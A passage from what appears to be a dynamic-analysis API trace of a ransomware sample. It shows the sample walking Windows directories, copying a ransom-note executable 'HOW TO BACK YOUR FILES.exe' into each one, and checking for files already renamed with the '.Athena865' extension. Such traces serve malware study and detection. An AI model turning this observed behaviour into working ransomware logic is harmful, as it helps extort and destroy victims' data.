lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.484] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0053.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac78 [0053.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52b070 [0053.484] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0053.484] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0053.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.485] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0053.485] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.485] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.485] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0053.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac90 [0053.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52b140 [0053.485] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0053.485] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0053.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.485] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0053.486] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.486] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.486] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0053.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aca8 [0053.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c288 [0053.486] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0053.486] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" [0053.486] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.486] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0053.486] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.486] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.486] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0053.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52acc0 [0053.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52b210 [0053.486] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0053.486] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0053.486] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.487] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0053.487] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.487] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.487] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0053.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52acd8 [0053.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xca) returned 0x5264d0 [0053.487] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0053.487] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0053.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0053.488] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.488] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.488] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}" [0053.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52acf0 [0053.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c348 [0053.488] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0053.488] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" [0053.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0053.488] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.488] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.488] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0053.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad08 [0053.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c408 [0053.488] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0053.489] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" [0053.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0053.489] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.489] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.489] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0053.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad20 [0053.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c4c8 [0053.489] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0053.489] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" [0053.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0053.490] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.490] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.490] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0053.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad38 [0053.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52b2e0 [0053.490] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0053.490] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0053.490] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0053.490] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.490] ReleaseMutex (hMutex=0xec) returned 1 [0053.490] CloseHandle (hObject=0xec) returned 1 [0053.491] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Start Menu" | out: lpString1="C:\\Documents and Settings\\All Users\\Start Menu") returned="C:\\Documents and Settings\\All Users\\Start Menu" [0053.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b260 | out: hHeap=0x4f0000) returned 1 [0053.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6e0 | out: hHeap=0x4f0000) returned 1 [0053.491] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Start Menu") returned 46 [0053.491] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ABD03E0C39C85B333B547964513FD73C") returned 0xec [0053.491] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.491] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Start Menu" | out: lpString1="C:\\Documents and Settings\\All Users\\Start Menu") returned="C:\\Documents and Settings\\All Users\\Start Menu" [0053.491] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.491] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.491] GetLastError () returned 0x0 [0053.491] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.492] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.492] CloseHandle (hObject=0xf4) returned 1 [0053.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.492] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.493] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.493] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.493] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Default Programs.lnk.Athena865" | out: lpString1="Default Programs.lnk.Athena865") returned="Default Programs.lnk.Athena865" [0053.493] lstrlenW (lpString="Default Programs.lnk.Athena865") returned 30 [0053.493] lstrlenW (lpString="Athena865") returned 9 [0053.493] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0053.493] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.493] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.493] lstrcpyW (in: lpString1=0x241e8a6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0053.493] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.493] lstrlenW (lpString="Athena865") returned 9 [0053.493] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.493] FindNextFileW (in: hFindFile=0x529410, 